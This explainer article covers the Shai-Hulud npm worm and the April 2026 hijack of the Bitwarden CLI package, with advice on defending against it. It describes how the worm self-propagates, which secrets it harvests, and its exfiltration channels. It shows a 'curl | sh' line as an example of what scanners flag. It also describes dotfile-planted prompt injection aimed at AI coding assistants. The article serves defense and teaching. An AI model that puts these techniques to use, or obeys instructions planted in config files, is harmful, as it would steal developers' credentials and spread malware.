Explainer

npm Supply Chain Attack: How the Worm Spreads

A malicious Bitwarden CLI sat live on npm for 93 minutes in April 2026. Here is how the self-spreading Shai-Hulud worm works, and what actually stops it.

By Ricardo de Jong 9 min read 10:21 video

Watch the explainer

On April 22, 2026, someone hijacked the official Bitwarden command-line tool on npm. Not a typosquat, not a lookalike. The real @bitwarden/cli, a package with a quarter of a million downloads a month. For 93 minutes, every developer who ran npm install got a credential stealer instead of a password manager.

That part is bad enough. The part that should worry you is that this thing could spread on its own. It hunts for your npm publish token, grabs every package you maintain, injects its own code, and republishes. One infected developer becomes twenty infected packages, which reach hundreds more developers. This is the anatomy of an npm supply chain attack that behaves like a worm, and why several of our best defenses did not stop it.

What was the npm supply chain attack?

It was the hijack of a real, trusted npm package. On April 22, 2026, attackers published a malicious @bitwarden/cli version 2026.4.0 to the registry, and for 93 minutes anyone who installed it got a credential stealer baked in. Bitwarden caught it fast, revoked access, deprecated the package, and shipped a clean build. As BleepingComputer reported, no password-vault data was touched. The damage landed on developer machines and CI runners, not on Bitwarden’s servers.

What makes this a supply chain attack, rather than just malware, is the route in. Nobody downloaded a sketchy file. People installed a package they trusted, from a vendor they trusted, through the normal tooling. The trust you place in a dependency is the attack surface, and that is exactly what got used.

Exposure window 93 min

How long a malicious @bitwarden/cli sat live on npm before Bitwarden caught it, revoked access, and shipped a clean build.

Downloads a month 250k

This was the real, popular Bitwarden CLI, not a typosquat. Anyone who ran npm install in that window pulled the poisoned 2026.4.0.

Vaults breached 0

The payload stole tokens off developer machines and CI runners. No Bitwarden password-vault data was accessed.

Fig. 1 The Bitwarden CLI hijack in three numbers. A 93-minute window, a popular package and not a typosquat, and a scope that stopped at developer credentials rather than user vaults.

The way the attackers got publish access is the unsettling part. They did not phish a maintainer or steal a password. They poisoned a GitHub Action that Bitwarden’s own CI pipeline depended on, the Checkmarx ast-github-action. Once that action was compromised, they modified the publish workflow on a side branch and used Bitwarden’s own publishing authority to push the bad version. The mechanism meant to make publishing safer was the mechanism they rode in on.

How does a self-propagating npm worm spread?

It turns every infected developer into the source of the next outbreak. When you install a carrier package, a preinstall hook runs before the package is even unpacked. The payload scans for an npm publish token, and if it finds one, it asks the registry for every package that token is allowed to publish. Then it loops: download each package, inject the worm, bump the version, republish. Your packages are now carriers too.

That loop is the whole reason this matters more than a one-off bad release. A normal compromised package infects whoever installs that one package. A worm infects whoever installs anything its victims maintain, then anything those victims maintain, branching outward through the dependency graph faster than any human response.

  1. 1
    Install You run npm install. A preinstall hook fires before the package is even unpacked.
  2. 2
    Find a token The payload scans your machine for an npm publish token in .npmrc or your CI environment.
  3. 3
    Grab your packages It asks the registry for every package that token is allowed to publish. Could be one. Could be twenty.
  4. 4
    Inject + bump For each package: download it, splice in the worm, bump the patch version, and republish under your name.
  5. 5
    Spread Your packages are now carriers. Everyone who installs them runs step 1, with their token.
Fig. 2 The self-propagation loop. The output of step five is the input of step one, which is what separates a worm from a single malicious release.

What is Shai-Hulud?

Shai-Hulud is the self-propagating npm worm behind all three waves, named after the giant sandworms in Frank Herbert’s Dune. If you searched the term and landed on a hardcore band, a video game, or the novels, that is the same name borrowed by the malware authors, who also tag their payloads with Dune references like “The Third Coming” and name their exfiltration repos fremen and sardaukar. The security-world Shai-Hulud is a specific family of worm that first hit npm in September 2025.

The April Bitwarden incident was the third wave, and each wave adapted to whatever defense stopped the last one. Wave one, in September 2025, used stolen npm tokens to republish infected packages. It hit more than 180 of them before CISA put out an advisory and GitHub responded with mandatory two-factor auth and seven-day token limits. Two months later, Check Point documented wave two: around 700 packages, 25,000 malicious GitHub repos, and thousands of leaked secrets.

WaveWhenHow they got inScaleNew trick
OneSep 2025Stolen npm tokens180+ packagesFirst self-replicating spread
TwoNov 2025Stolen tokens, wider net~700 packages, 25k repospreinstall hook, Node to Bun, deletes home dir on failure
ThreeApr 2026Poisoned CI GitHub ActionBitwarden CLI + pgserve clusterBypassed trusted publishing, targets AI tools

Wave two also got nastier in how it ran. It moved from a postinstall hook to preinstall, so the code executed before installation even finished. It switched from Node to the Bun runtime to dodge Node-focused monitoring. And per Unit 42’s analysis, if it could not find any credentials to steal, it deleted your home directory out of spite.

What the worm steals, and how it gets it out

It sweeps your machine for anything that looks like a secret, then smuggles the haul out through channels built to look ordinary. The payload checks around 40 environment-variable patterns for names containing TOKEN, SECRET, KEY, AWS, or GITHUB, then reads files directly: your .npmrc, git credentials, SSH keys, cloud configs, .env files, shell history. The pgserve variant documented by StepSecurity even copied Chrome’s saved-password database on Linux.

Everything collected gets compressed and encrypted, so only the attacker can read it. Then it leaves through one of three fallback channels, each chosen because security tools rarely flag it.

Reads off your machine
  • .npmrc + git credentials
  • ~/.ssh keys
  • ~/.aws and ~/.gcp configs
  • .env and shell history
  • AI tool API keys + MCP configs
AES-256, RSA-wrapped → only the attacker can open it
Primary audit.checkmarx.cx HTTPS to a domain dressed up as security telemetry.
Fallback ICP canister A decentralized endpoint that a normal domain seizure cannot take down.
Last resort github.com Encrypted data committed to public repos named after Dune. Tools rarely flag GitHub traffic.
Fig. 3 Harvest, then exfiltrate. The data is encrypted so only the attacker can open it, then routed through whichever channel is least likely to trip an alarm.

The cleverest channel is the GitHub fallback. The worm uses your stolen token to create public repos and commits the encrypted data as JSON. It even reads instructions back out of GitHub: it searches the commit API for a hardcoded marker string and parses attacker commands out of public commit messages. The platform you trust to host your code becomes the command-and-control server.

The clean code problem: why scanners missed it

Most scanners are trained to spot ugly code, and this code was not ugly. The pgserve payload was around 1,100 lines of plain, readable JavaScript. No eval, no atob, no curl piped to a shell, no mangled variable names. Just standard Node APIs doing standard-looking things, which is exactly why it slipped through.

The trouble is that reading files and making HTTPS requests at install time is what plenty of legitimate packages do. A native module needs to check your platform; an analytics package phones home. The detection problem shifted from “find the obfuscated payload” to a much harder question: is this normal-looking script reading your SSH keys for a good reason, or a malicious one?

What scanners flag
eval(atob("…"))
curl http://x | sh
const _0x3f = …
DETECTED
vs
What they actually shipped
fs.readFile(sshKeyPath)
https.request(endpoint)
// 1,100 readable lines
UNDETECTED

Plenty of honest packages read files and make HTTPS calls during install. The question stopped being “spot the ugly code” and became “is this normal-looking script reading my SSH keys on purpose?”

Fig. 4 What scanners hunt for versus what they actually got. Obfuscation is easy to flag. A clean script that happens to read your SSH keys is not.

Why AI coding assistants are the new target

Because that is where the freshest plaintext credentials now sit. The Bitwarden payload carried a module the attackers named after Dune’s “Butlerian Jihad,” and it went straight for AI coding tools. It checks your PATH for Claude, Gemini CLI, Codex, Kiro, and Aider, sends a test prompt to confirm the tool is logged in, and grabs the API keys, which often sit in readable JSON config files.

Then it goes after the tool itself. It injects a compressed block of text into your .bashrc and .zshrc. Your shell ignores it on startup, but an AI assistant that reads your shell config to understand your environment pulls that block straight into its context window. It is prompt injection delivered through your own dotfiles, aimed at the model rather than at you.

  1. 1
    Find the tool Scans $PATH for claude, gemini, codex, kiro, aider, then sends a test prompt to confirm it is logged in.
  2. 2
    Poison the dotfile Injects a compressed block of instructions into your .bashrc and .zshrc. Your shell ignores it on startup.
  3. 3
    AI reads the config The assistant reads your shell config to understand your environment, and pulls the hidden block in with it.
  4. 4
    Context poisoned Attacker text is now inside the model’s context window, shaping what it does next. Plus your plaintext API keys are gone.

PROMPT POISONING The AI tool, not you, ingests instructions the attacker wrote, baked right into your dotfiles.

Fig. 5 The prompt-poisoning chain. A hidden block in your shell config is invisible to you, but the AI tool reads it and ingests attacker instructions as if they were yours.

What actually stops a supply chain attack?

Blunt, boring controls work better than the clever ones. The defenses everyone assumed would hold mostly failed against Shai-Hulud, and the things that actually shrank the attack surface were unglamorous. Trusted publishing failed because the attackers rode an action that already had authority to publish. SHA pinning failed because once the bad version is in your lockfile, pinning just guarantees you install it. CVE scanners failed because they check manifests against known-vulnerability lists, not what a script does at install time.

What held up is a short list of habits. The biggest single win is disabling install scripts, because the preinstall and postinstall hooks are the entire attack surface here.

Failed
Trusted publishing Attackers rode the action that already had OIDC authority to publish. No token needed.
SHA / version pinning If the malicious version is already in your lockfile, pinning just guarantees you get the bad bits.
CVE scanners They check manifests against known-vuln databases, not what a script does at install time.
Works
npm ci --ignore-scripts Kills preinstall and postinstall hooks, which is the entire attack surface. Allowlist native builds.
Pin exact versions No caret ranges, so a worm-bumped patch never auto-installs.
48–72h adoption delay Waiting a couple of days before upgrading would have dodged the 93-minute window entirely.
Behavioral scanners Socket and StepSecurity caught both April campaigns within hours of publication.
Fig. 6 What failed versus what worked. The marketed defenses got bypassed; the dull operational ones did the real work.

Run npm ci --ignore-scripts and allowlist the few packages that need native compilation. Pin exact versions instead of caret ranges, so a worm-bumped patch never installs automatically. Wait 48 to 72 hours before adopting new releases, which alone would have dodged the entire 93-minute Bitwarden window. And use a behavioral scanner: Socket and StepSecurity caught both April campaigns within hours, by watching what packages do rather than what they declare. GitHub has since added mandatory 2FA and staged publishing, which raises the bar, though the worm has a track record of routing around new controls.

The gap that stays open is timing. npm still has no pre-publication behavioral analysis, so every package goes live the instant it is published. The window between publish and detection is where all the damage happens, and right now nothing closes it before the fact.

Three waves in seven months, each one a workaround for the defense added after the last. Phishing stopped working, so they poisoned the CI pipeline. Tokens got shorter, so they bypassed tokens. Node got monitored, so they switched to Bun. The pattern is not that npm is uniquely broken. It is that every trust boundary we build, tokens, two-factor, trusted publishing, provenance, is only as strong as the weakest link holding it up.

And that chain runs through every GitHub Action, every maintainer account, and every install hook in a dependency tree that can go hundreds of packages deep. You cannot personally audit all of it, which is why the defense that works is structural: assume any dependency can turn hostile, and make installing one cost you as little access as possible. The 93-minute window keeps getting shorter. Until it hits zero, the worm has room to run.

For the full visual breakdown, with the infection map animating wave by wave, watch the explainer on YouTube.

Frequently asked questions

What is the npm supply chain attack?

It is an attack where a trusted package on the npm registry is replaced with a malicious version, so anyone who installs it runs attacker code. The April 2026 case hijacked the real @bitwarden/cli for 93 minutes, shipping a credential stealer that could spread itself to other packages.

What is Shai-Hulud?

Shai-Hulud is a self-propagating npm worm, named after the sandworms in Frank Herbert's Dune. It first appeared in September 2025 and has hit npm in three waves. It steals developer credentials, then uses any npm publish token it finds to infect more packages automatically.

How does a self-propagating npm worm spread?

When you install an infected package, a preinstall hook runs and hunts for an npm publish token. If it finds one, it queries the registry for every package that token can publish, injects its own code into each, bumps the version, and republishes. Your packages become carriers.

Was Bitwarden itself hacked in the npm attack?

No vault data was compromised. The attackers did not breach Bitwarden's servers or password vaults. They poisoned a GitHub Action in Bitwarden's CI pipeline and used it to publish one malicious version of the command-line tool. Bitwarden caught it in 93 minutes and shipped a clean replacement.

How do I protect against an npm supply chain attack?

Run npm ci with the --ignore-scripts flag to disable install hooks, which is the entire attack surface, and allowlist packages that truly need native builds. Pin exact versions instead of caret ranges, wait 48 to 72 hours before adopting new releases, and use a behavioral scanner like Socket.

Why did trusted publishing not stop the attack?

Trusted publishing removes long-lived tokens by letting CI publish with short-lived OIDC credentials. The attackers did not steal a token. They poisoned a GitHub Action that already held the authority to publish, so they rode the trusted mechanism itself rather than going around it.

Sources

  1. BleepingComputer · Bitwarden CLI npm package compromised to steal developer credentials · retrieved 2026-06-20
  2. The Hacker News · Bitwarden CLI Compromised in Ongoing Checkmarx Supply Chain Campaign · retrieved 2026-06-20
  3. Endor Labs · Shai-Hulud: The Third Coming, inside the Bitwarden CLI 2026.4.0 attack · retrieved 2026-06-20
  4. SOCRadar · Bitwarden CLI Hijacked in npm Supply Chain Attack Linked to TeamPCP & Checkmarx · retrieved 2026-06-20
  5. CISA · Widespread Supply Chain Compromise Impacting npm Ecosystem (Sept 23, 2025) · retrieved 2026-06-20
  6. Unit 42 (Palo Alto Networks) · "Shai-Hulud" Worm Compromises npm Ecosystem · retrieved 2026-06-20
  7. Check Point · Shai-Hulud 2.0: Inside The Second Coming · retrieved 2026-06-20
  8. StepSecurity · CanisterSprawl: pgserve Compromised on npm · retrieved 2026-06-20
  9. BleepingComputer · GitHub tightens npm security with mandatory 2FA, access tokens · retrieved 2026-06-20
</>

Ricardo de Jong

Creator of Devsplainers

Ricardo de Jong makes Devsplainers, turning complex developer and AI topics into short animated videos and written companions. Each article is built from the same research and script behind the video. No hype, no jargon walls.

The newsletter

Liked this? Get the Take-Outs.

One email every Tuesday: a spicy take on a trending dev topic, video out-takes, and the tool of the week. Free.

Subscribe
<devsplainers>